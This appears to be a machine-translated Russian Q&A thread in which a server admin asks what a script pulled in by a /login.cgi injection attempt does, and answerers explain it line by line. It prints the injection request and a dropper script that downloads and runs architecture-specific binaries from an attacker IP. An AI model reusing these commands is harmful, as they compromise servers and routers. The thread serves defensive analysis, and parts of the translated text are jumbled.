В последнее время я замечал на своих серверах логи apache, следующие странные строки:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса.
Но мне было любопытно, что они пытались сделать, поэтому я вытащил сценарий, который они пытаются выполнить, и я не могу понять, что именно он делает. Что-нибудь об удалении архивных папок в / var и / tmp?
Во всяком случае, вот оно:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
там, где$name
находится каждая архитектура ЦПbin_names
. Таким образом, 7 сценариев атаки будут загружены и выполненыОтветы:
Построчно:
Устанавливает
sh
оболочку в зависимости от линии Шебанга.sh%20/tmp/ks
в запросе переопределяет это, поэтому эта строка обрабатывается как обычный комментарий и игнорируется.Объявляет произвольное имя, предположительно, чтобы избежать столкновения с другими именами файлов. Я не уверен, почему они не будут просто использовать
mktemp
, но, возможно, это доступно не на всех платформах.Перечисляет несколько распространенных архитектур ЦП.
Сервер, на котором есть эксплойт.
Пытается изменить каталог, где ваш веб-сервер может создавать файлы. Я верю, что SELinux поможет с этим, установив гораздо более строгие правила относительно того, что может делать веб-сервер, чем файловая система сама по себе.
Для каждой архитектуры процессора ...
Удаляет ранее опробованные программы. Не нужно из-за следующей строки, поэтому можно игнорировать.
Копирует текущий исполняемый файл оболочки (
/bin/sh
). Может быть проигнорировано из-за строки после следующего.Предоставляет всем пользователям полный доступ к новому файлу. Это должно было произойти после
wget
команды, которая является либо признаком новичка в сценариях оболочки, либо техникой неверного направления.Очищает файл. Бессмысленно из-за следующей строки.
Перезаписывает файл сценарием эксплойта для этой архитектуры.
-O -> $u
мог быть написан-O - > $u
(дефис указывает, что загрузка должна быть записана в стандартный вывод), что эквивалентно-O $u
.Запускает скрипт эксплойта с архитектурой в качестве первого аргумента.
Завершает цикл.
Похоже, что это тривиальный сценарий попытки эксплойта, пытающийся использовать известные эксплойты на разных процессорных платформах. Я не знаю, почему он перезаписывается
$u
три раза, но эти операции могут просто остаться от более ранней итерации сценария. Предположительно, в более ранней версии эксплойты были жестко запрограммированы, а не динамически обслуживаются - первая проще, но почти гарантирует, что скрипт будет менее эффективен со временем, так как исправляются ошибки.источник
->
вwget
команде делать? Почему не простоwget ... -O $u
?- >
-O->filename
,filename
не отображается в выводе ps ax . Это может быть преимуществом для усложнения отладки.cp
дает вам исполняемый файл. Возможно, полезно, еслиchmod
не удается? Изменить: учитывая, что, очевидно, это предназначается для маршрутизаторов, вполне возможно, чтоchmod
не существует.Это
wget
ключевая опасная линия.Он
for name in $bin_names
обрабатывает список платформ и для каждой платформы очищает временный каталог, копирует оболочку и делает ее доступной для всех.Затем он загружает файл, используя,
wget
а затем выполняет его, используя программу оболочки, которую он только что скопировал.Сценарий в основном пытается загрузить серию исполняемых файлов или сценариев для каждой возможной платформы и втирать их в вашу систему в надежде на дальнейшую угрозу вашей системе.
источник